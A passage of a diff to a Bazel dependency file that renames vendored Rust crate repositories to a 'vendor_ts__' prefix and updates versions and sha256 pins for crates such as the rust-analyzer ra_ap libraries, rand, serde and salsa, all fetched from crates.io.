+        sha256 = "570907e16725c13a678bfd8050ce8839af2831da042a0878b75ee8c41b0f7b0c",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_mbe/0.0.258/download"],
-        strip_prefix = "ra_ap_mbe-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_mbe-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_load-cargo/0.0.270/download"],
+        strip_prefix = "ra_ap_load-cargo-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_load-cargo-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_parser-0.0.258",
-        sha256 = "8f499b6c33a588d60ed9722d057954a21ec01913b97a5693ff40ba4828ffa7b9",
+        name = "vendor_ts__ra_ap_mbe-0.0.270",
+        sha256 = "e893fe03b04b30c9b5a339ac2bf39ce32ac9c05a8b50121b7d89ce658346e164",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_parser/0.0.258/download"],
-        strip_prefix = "ra_ap_parser-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_parser-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_mbe/0.0.270/download"],
+        strip_prefix = "ra_ap_mbe-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_mbe-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_paths-0.0.258",
-        sha256 = "b5a16df131fa641a4af4d9488152b7b332a6a30e93bc655fdbe88f555ba28825",
+        name = "vendor_ts__ra_ap_parser-0.0.270",
+        sha256 = "6fd9a264120968b14a66b6ba756cd7f99435385b5dbc2f0a611cf3a12221c385",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_paths/0.0.258/download"],
-        strip_prefix = "ra_ap_paths-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_paths-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_parser/0.0.270/download"],
+        strip_prefix = "ra_ap_parser-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_parser-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_proc_macro_api-0.0.258",
-        sha256 = "3480e0d07197ebcc2db5836b0c39625e07b0d77c6471a2a748e5bdf54ce556e3",
+        name = "vendor_ts__ra_ap_paths-0.0.270",
+        sha256 = "f47817351651e36b56ff3afc483b41600053c9cb7e67d945467c0abe93416032",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_proc_macro_api/0.0.258/download"],
-        strip_prefix = "ra_ap_proc_macro_api-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_proc_macro_api-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_paths/0.0.270/download"],
+        strip_prefix = "ra_ap_paths-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_paths-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_profile-0.0.258",
-        sha256 = "95b707dd9c92139030587d81b3333428f48af8f4728330ed12101ab0bb431d72",
+        name = "vendor_ts__ra_ap_proc_macro_api-0.0.270",
+        sha256 = "d96da3b8b9f6b813a98f5357eef303905450741f47ba90adaab8a5371b748416",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_profile/0.0.258/download"],
-        strip_prefix = "ra_ap_profile-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_profile-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_proc_macro_api/0.0.270/download"],
+        strip_prefix = "ra_ap_proc_macro_api-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_proc_macro_api-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_project_model-0.0.258",
-        sha256 = "551a0de5a16f0538fbaf401a319d81d1a034f7aa014e46ac87c5bd74229a211b",
+        name = "vendor_ts__ra_ap_profile-0.0.270",
+        sha256 = "13637377287c84f88a628e40229d271ef0081c0d683956bd99a6c8278a4f8b14",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_project_model/0.0.258/download"],
-        strip_prefix = "ra_ap_project_model-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_project_model-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_profile/0.0.270/download"],
+        strip_prefix = "ra_ap_profile-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_profile-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_salsa-0.0.258",
-        sha256 = "6ec0c82d9e5affbf7d582750b301d279589787a5ac729f95756f5a0b0bf2b4a4",
+        name = "vendor_ts__ra_ap_project_model-0.0.270",
+        sha256 = "053c5207a638fc7a752c7a454bc952b28b0d02f0bf9f6d7ec785ec809579d8fa",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_salsa/0.0.258/download"],
-        strip_prefix = "ra_ap_salsa-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_salsa-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_project_model/0.0.270/download"],
+        strip_prefix = "ra_ap_project_model-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_project_model-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_salsa-macros-0.0.258",
-        sha256 = "8440192eb549dda1cdefc95eaa1fc42ad13cfbd303add757517d77c81e7dc2e1",
+        name = "vendor_ts__ra_ap_query-group-macro-0.0.270",
+        sha256 = "0f1a38f07b442e47a234cbe2e8fd1b8a41ff0cc5123cb1cf994c5ce20edb5bd6",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_salsa-macros/0.0.258/download"],
-        strip_prefix = "ra_ap_salsa-macros-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_salsa-macros-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_query-group-macro/0.0.270/download"],
+        strip_prefix = "ra_ap_query-group-macro-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_query-group-macro-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_span-0.0.258",
-        sha256 = "18690685d10da2577d7821d46c0de5a884bf1755e59635cbb1a795451e2a4acc",
+        name = "vendor_ts__ra_ap_span-0.0.270",
+        sha256 = "8818680c6f7da3b32cb2bb0992940b24264b1aa90203aa94812e09ab34d362d1",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_span/0.0.258/download"],
-        strip_prefix = "ra_ap_span-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_span-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_span/0.0.270/download"],
+        strip_prefix = "ra_ap_span-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_span-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_stdx-0.0.258",
-        sha256 = "4016934faae8413b4ad3f1bf063c7ffccdcfdf3f67ff32f4a79a197a3c1cb0da",
+        name = "vendor_ts__ra_ap_stdx-0.0.270",
+        sha256 = "f1c10bee1b03fc48083862c13cf06bd3ed17760463ecce2734103a2f511e5ed4",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_stdx/0.0.258/download"],
-        strip_prefix = "ra_ap_stdx-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_stdx-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_stdx/0.0.270/download"],
+        strip_prefix = "ra_ap_stdx-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_stdx-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_syntax-0.0.258",
-        sha256 = "e8e381d21d166d12b11906171f82382473d60abfead0c4acc6d7d07150f87f73",
+        name = "vendor_ts__ra_ap_syntax-0.0.270",
+        sha256 = "92bc32f3946fc5fcbdc79e61b7e26a8c2a3a56f3ef6ab27c7d298a9e21a462f2",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_syntax/0.0.258/download"],
-        strip_prefix = "ra_ap_syntax-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_syntax-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_syntax/0.0.270/download"],
+        strip_prefix = "ra_ap_syntax-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_syntax-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_syntax-bridge-0.0.258",
-        sha256 = "65f1960218acd2ed8e486e7bd24f80a7eb89591906c6b0831296b2a75c556b2f",
+        name = "vendor_ts__ra_ap_syntax-bridge-0.0.270",
+        sha256 = "a42052c44c98c122c37aac476260c8f19d8fec495edc9c05835307c9ae86194d",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_syntax-bridge/0.0.258/download"],
-        strip_prefix = "ra_ap_syntax-bridge-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_syntax-bridge-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_syntax-bridge/0.0.270/download"],
+        strip_prefix = "ra_ap_syntax-bridge-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_syntax-bridge-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_toolchain-0.0.258",
-        sha256 = "c9195f69ff02f076f5a726c7fbafa2b4639d00235906cb44e52ca75cd8b33c30",
+        name = "vendor_ts__ra_ap_toolchain-0.0.270",
+        sha256 = "75996e70b3a0c68cd5157ba01f018964c7c6a5d7b209047d449b393139d0b57f",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_toolchain/0.0.258/download"],
-        strip_prefix = "ra_ap_toolchain-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_toolchain-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_toolchain/0.0.270/download"],
+        strip_prefix = "ra_ap_toolchain-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_toolchain-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_tt-0.0.258",
-        sha256 = "8ac261d79d3ec475a1f3b2a758d3e466f2b9d7d883fb72239b06979bf6880018",
+        name = "vendor_ts__ra_ap_tt-0.0.270",
+        sha256 = "0e4ee31e93bfabe83e6720b7469db88d7ad7ec5c59a1f011efec4aa1327ffc5c",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_tt/0.0.258/download"],
-        strip_prefix = "ra_ap_tt-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_tt-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_tt/0.0.270/download"],
+        strip_prefix = "ra_ap_tt-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_tt-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_vfs-0.0.258",
-        sha256 = "ee35a171beccbb01b4ede1d9ad91dee487a3742d7cc39efd7aed6961027cbe78",
+        name = "vendor_ts__ra_ap_vfs-0.0.270",
+        sha256 = "f6aac1e277ac70bb073f40f8a3fc44e4b1bb9e4d4b1d0e0bd2f8269543560f80",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_vfs/0.0.258/download"],
-        strip_prefix = "ra_ap_vfs-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_vfs-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_vfs/0.0.270/download"],
+        strip_prefix = "ra_ap_vfs-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_vfs-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_vfs-notify-0.0.258",
-        sha256 = "b234b7651eb5d61f18d4f4643590bb8b1fd59ef766a1059741c09c540ec8cd86",
+        name = "vendor_ts__ra_ap_vfs-notify-0.0.270",
+        sha256 = "cd95285146049621ee8f7a512c982a008bf036321fcc9b01a95c1ad7e6aeae57",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_vfs-notify/0.0.258/download"],
-        strip_prefix = "ra_ap_vfs-notify-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_vfs-notify-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_vfs-notify/0.0.270/download"],
+        strip_prefix = "ra_ap_vfs-notify-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_vfs-notify-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__rand-0.8.5",
-        sha256 = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404",
+        name = "vendor_ts__rand-0.9.0",
+        sha256 = "3779b94aeb87e8bd4e834cee3650289ee9e0d5677f976ecdb6d219e5f4f6cd94",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/rand/0.8.5/download"],
-        strip_prefix = "rand-0.8.5",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.rand-0.8.5.bazel"),
+        urls = ["https://static.crates.io/crates/rand/0.9.0/download"],
+        strip_prefix = "rand-0.9.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.rand-0.9.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__rand_chacha-0.3.1",
-        sha256 = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88",
+        name = "vendor_ts__rand_chacha-0.9.0",
+        sha256 = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/rand_chacha/0.3.1/download"],
-        strip_prefix = "rand_chacha-0.3.1",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.rand_chacha-0.3.1.bazel"),
+        urls = ["https://static.crates.io/crates/rand_chacha/0.9.0/download"],
+        strip_prefix = "rand_chacha-0.9.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.rand_chacha-0.9.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__rand_core-0.6.4",
-        sha256 = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c",
+        name = "vendor_ts__rand_core-0.9.2",
+        sha256 = "7a509b1a2ffbe92afab0e55c8fd99dea1c280e8171bd2d88682bb20bc41cbc2c",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/rand_core/0.6.4/download"],
-        strip_prefix = "rand_core-0.6.4",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.rand_core-0.6.4.bazel"),
+        urls = ["https://static.crates.io/crates/rand_core/0.9.2/download"],
+        strip_prefix = "rand_core-0.9.2",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.rand_core-0.9.2.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__rayon-1.10.0",
+        name = "vendor_ts__rayon-1.10.0",
         sha256 = "b418a60154510ca1a002a752ca9714984e21e4241e804d32555251faf8b78ffa",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/rayon/1.10.0/download"],
@@ -2395,7 +2479,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__rayon-core-1.12.1",
+        name = "vendor_ts__rayon-core-1.12.1",
         sha256 = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/rayon-core/1.12.1/download"],
@@ -2405,7 +2489,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__redox_syscall-0.5.8",
+        name = "vendor_ts__redox_syscall-0.5.8",
         sha256 = "03a862b389f93e68874fbf580b9de08dd02facb9a788ebadaf4a3fd33cf58834",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/redox_syscall/0.5.8/download"],
@@ -2415,7 +2499,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__regex-1.11.1",
+        name = "vendor_ts__regex-1.11.1",
         sha256 = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/regex/1.11.1/download"],
@@ -2425,7 +2509,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__regex-automata-0.1.10",
+        name = "vendor_ts__regex-automata-0.1.10",
         sha256 = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/regex-automata/0.1.10/download"],
@@ -2435,7 +2519,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__regex-automata-0.4.9",
+        name = "vendor_ts__regex-automata-0.4.9",
         sha256 = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/regex-automata/0.4.9/download"],
@@ -2445,7 +2529,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__regex-syntax-0.6.29",
+        name = "vendor_ts__regex-syntax-0.6.29",
         sha256 = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/regex-syntax/0.6.29/download"],
@@ -2455,7 +2539,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__regex-syntax-0.8.5",
+        name = "vendor_ts__regex-syntax-0.8.5",
         sha256 = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/regex-syntax/0.8.5/download"],
@@ -2465,7 +2549,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__rowan-0.15.15",
+        name = "vendor_ts__rowan-0.15.15",
         sha256 = "32a58fa8a7ccff2aec4f39cc45bf5f985cec7125ab271cf681c279fd00192b49",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/rowan/0.15.15/download"],
@@ -2475,7 +2559,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__rustc-hash-1.1.0",
+        name = "vendor_ts__rustc-hash-1.1.0",
         sha256 = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/rustc-hash/1.1.0/download"],
@@ -2485,17 +2569,27 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__rustc-hash-2.1.0",
-        sha256 = "c7fb8039b3032c191086b10f11f319a6e99e1e82889c5cc6046f515c9db1d497",
+        name = "vendor_ts__rustc-hash-2.1.1",
+        sha256 = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/rustc-hash/2.1.1/download"],
+        strip_prefix = "rustc-hash-2.1.1",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.rustc-hash-2.1.1.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__rustc-stable-hash-0.1.1",
+        sha256 = "2febf9acc5ee5e99d1ad0afcdbccc02d87aa3f857a1f01f825b80eacf8edfcd1",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/rustc-hash/2.1.0/download"],
-        strip_prefix = "rustc-hash-2.1.0",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.rustc-hash-2.1.0.bazel"),
+        urls = ["https://static.crates.io/crates/rustc-stable-hash/0.1.1/download"],
+        strip_prefix = "rustc-stable-hash-0.1.1",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.rustc-stable-hash-0.1.1.bazel"),
     )
 
     maybe(
         new_git_repository,
-        name = "vendor__rustc_apfloat-0.2.1-llvm-462a31f5a5ab",
+        name = "vendor_ts__rustc_apfloat-0.2.1-llvm-462a31f5a5ab",
         commit = "096d585100636bc2e9f09d7eefec38c5b334d47b",
         init_submodules = True,
         remote = "https://github.com/redsun82/rustc_apfloat.git",
@@ -2504,17 +2598,57 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__ryu-1.0.18",
-        sha256 = "f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f",
+        name = "vendor_ts__rustversion-1.0.20",
+        sha256 = "eded382c5f5f786b989652c49544c4877d9f015cc22e145a5ea8ea66c2921cd2",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/rustversion/1.0.20/download"],
+        strip_prefix = "rustversion-1.0.20",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.rustversion-1.0.20.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__ryu-1.0.19",
+        sha256 = "6ea1a2d0a644769cc99faa24c3ad26b379b786fe7c36fd3c546254801650e6dd",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/ryu/1.0.19/download"],
+        strip_prefix = "ryu-1.0.19",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ryu-1.0.19.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__salsa-0.19.0",
+        sha256 = "dd55c6549513b2a42884dae31e3d4f4ac8a6cc51062e68e24d162133889f327c",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/salsa/0.19.0/download"],
+        strip_prefix = "salsa-0.19.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.salsa-0.19.0.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__salsa-macro-rules-0.19.0",
+        sha256 = "2619b4b451beab0a7e4364ff1e6f31950e7e418888fd9bf2f28889671563166a",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ryu/1.0.18/download"],
-        strip_prefix = "ryu-1.0.18",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ryu-1.0.18.bazel"),
+        urls = ["https://static.crates.io/crates/salsa-macro-rules/0.19.0/download"],
+        strip_prefix = "salsa-macro-rules-0.19.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.salsa-macro-rules-0.19.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__same-file-1.0.6",
+        name = "vendor_ts__salsa-macros-0.19.0",
+        sha256 = "4be57a99b3896e8d26850428a6874fb86849e2db874e1db3528e5cee4337d277",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/salsa-macros/0.19.0/download"],
+        strip_prefix = "salsa-macros-0.19.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.salsa-macros-0.19.0.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__same-file-1.0.6",
         sha256 = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/same-file/1.0.6/download"],
@@ -2524,7 +2658,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__scoped-tls-1.0.1",
+        name = "vendor_ts__scoped-tls-1.0.1",
         sha256 = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/scoped-tls/1.0.1/download"],
@@ -2534,7 +2668,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__scopeguard-1.2.0",
+        name = "vendor_ts__scopeguard-1.2.0",
         sha256 = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/scopeguard/1.2.0/download"],
@@ -2544,7 +2678,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__semver-1.0.24",
+        name = "vendor_ts__semver-1.0.24",
         sha256 = "3cb6eb87a131f756572d7fb904f6e7b68633f09cca868c5df1c4b8d1a694bbba",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/semver/1.0.24/download"],
@@ -2554,37 +2688,37 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__serde-1.0.217",
-        sha256 = "02fc4265df13d6fa1d00ecff087228cc0a2b5f3c0e87e258d8b94a156e984c70",
+        name = "vendor_ts__serde-1.0.219",
+        sha256 = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/serde/1.0.217/download"],
-        strip_prefix = "serde-1.0.217",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.serde-1.0.217.bazel"),
+        urls = ["https://static.crates.io/crates/serde/1.0.219/download"],
+        strip_prefix = "serde-1.0.219",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.serde-1.0.219.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__serde_derive-1.0.217",
-        sha256 = "5a9bf7cf98d04a2b28aead066b7496853d4779c9cc183c440dbac457641e19a0",
+        name = "vendor_ts__serde_derive-1.0.219",
+        sha256 = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/serde_derive/1.0.217/download"],
-        strip_prefix = "serde_derive-1.0.217",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.serde_derive-1.0.217.bazel"),
+        urls = ["https://static.crates.io/crates/serde_derive/1.0.219/download"],
+        strip_prefix = "serde_derive-1.0.219",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.serde_derive-1.0.219.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__serde_json-1.0.135",
-        sha256 = "2b0d7ba2887406110130a978386c4e1befb98c674b4fba677954e4db976630d9",
+        name = "vendor_ts__serde_json-1.0.140",
+        sha256 = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/serde_json/1.0.135/download"],
-        strip_prefix = "serde_json-1.0.135",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.serde_json-1.0.135.bazel"),
+        urls = ["https://static.crates.io/crates/serde_json/1.0.140/download"],
+        strip_prefix = "serde_json-1.0.140",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.serde_json-1.0.140.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__serde_spanned-0.6.8",
+        name = "vendor_ts__serde_spanned-0.6.8",
         sha256 = "87607cb1398ed59d48732e575a4c28a7a8ebf2454b964fe3f224f2afc07909e1",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/serde_spanned/0.6.8/download"],
@@ -2594,7 +2728,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__serde_with-3.12.0",
+        name = "vendor_ts__serde_with-3.12.0",
         sha256 = "d6b6f7f2fcb69f747921f79f3926bd1e203fce4fef62c268dd3abfb6d86029aa",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/serde_with/3.12.0/download"],
@@ -2604,7 +2738,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__serde_with_macros-3.12.0",
+        name = "vendor_ts__serde_with_macros-3.12.0",
         sha256 = "8d00caa5193a3c8362ac2b73be6b9e768aa5a4b2f721d8f4b339600c3cb51f8e",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/serde_with_macros/3.12.0/download"],
@@ -2614,7 +2748,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__serde_yaml-0.9.34-deprecated",
